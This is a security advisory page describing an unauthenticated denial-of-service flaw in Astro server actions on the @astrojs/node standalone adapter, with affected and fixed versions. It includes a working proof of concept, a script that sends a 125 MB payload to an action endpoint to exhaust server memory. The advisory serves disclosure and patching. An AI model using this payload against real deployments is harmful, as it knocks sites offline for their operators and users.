GHSA-jm64-8m5q-4qh8

Suggest an improvement
Source
https://github.com/advisories/GHSA-jm64-8m5q-4qh8
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-jm64-8m5q-4qh8/GHSA-jm64-8m5q-4qh8.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-jm64-8m5q-4qh8
Aliases
Published
2026-02-25T22:33:13Z
Modified
2026-02-25T22:47:50.330926Z
Severity
  • 5.9 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
Astro has memory exhaustion DoS due to missing request body size limit in Server Actions
Details

Summary

Astro server actions have no default request body size limit, which can lead to memory exhaustion DoS. A single large POST to a valid action endpoint can crash the server process on memory-constrained deployments.

Details

On-demand rendered sites built with Astro can define server actions, which automatically parse incoming request bodies (JSON or FormData). The body is buffered entirely into memory with no size limit — a single oversized request is sufficient to exhaust the process heap and crash the server.

Astro's Node adapter (mode: 'standalone') creates an HTTP server with no body size protection. In containerized environments, the crashed process is automatically restarted, and repeated requests cause a persistent crash-restart loop.

Action names are discoverable from HTML form attributes on any public page, so no authentication is required.

PoC

<details>

Setup

Create a new Astro project with the following files:

package.json:

{
  "name": "poc-dos",
  "private": true,
  "scripts": {
    "build": "astro build",
    "start:128mb": "node --max-old-space-size=128 dist/server/entry.mjs"
  },
  "dependencies": {
    "astro": "5.17.2",
    "@astrojs/node": "9.5.3"
  }
}

astro.config.mjs:

import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
});

src/actions/index.ts:

import { defineAction } from 'astro:actions';
import { z } from 'astro:schema';

export const server = {
  echo: defineAction({
    input: z.object({ data: z.string() }),
    handler: async (input) => ({ received: input.data.length }),
  }),
};

src/pages/index.astro:

---
---
<html><body><p>Server running</p></body></html>

crash-test.mjs:

const payload = JSON.stringify({ data: 'A'.repeat(125 * 1024 * 1024) });

console.log('Sending 125 MB payload...');
try {
  const res = await fetch('http://localhost:4321/_actions/echo', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' },
    body: payload,
  });
  console.log('Status:', res.status);
} catch (e) {
  console.log('Server crashed:', e.message);
}

Reproduction

npm install && npm run build

# Terminal 1: Start server with 128 MB memory limit
npm run start:128mb

# Terminal 2: Send 125 MB payload
node crash-test.mjs

The server process crashes with FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory. The payload is buffered entirely into memory before any validation, exceeding the 128 MB heap limit.

</details>

Impact

Allows unauthenticated denial of service against SSR standalone deployments using server actions. A single oversized request crashes the server process, and repeated requests cause a persistent crash-restart loop in containerized environments.

Database specific 
{
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T22:33:13Z",
    "cwe_ids": [
        "CWE-770"
    ],
    "severity": "MODERATE",
    "nvd_published_at": "2026-02-24T01:16:15Z"
}
References

Affected packages

npm / @astrojs/node

Package

Name
@astrojs/node
View open source insights on deps.dev
Purl
pkg:npm/%40astrojs/node

Affected ranges

Type
SEMVER
Events
Introduced
9.0.0
Fixed
9.5.4

Database specific

source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-jm64-8m5q-4qh8/GHSA-jm64-8m5q-4qh8.json"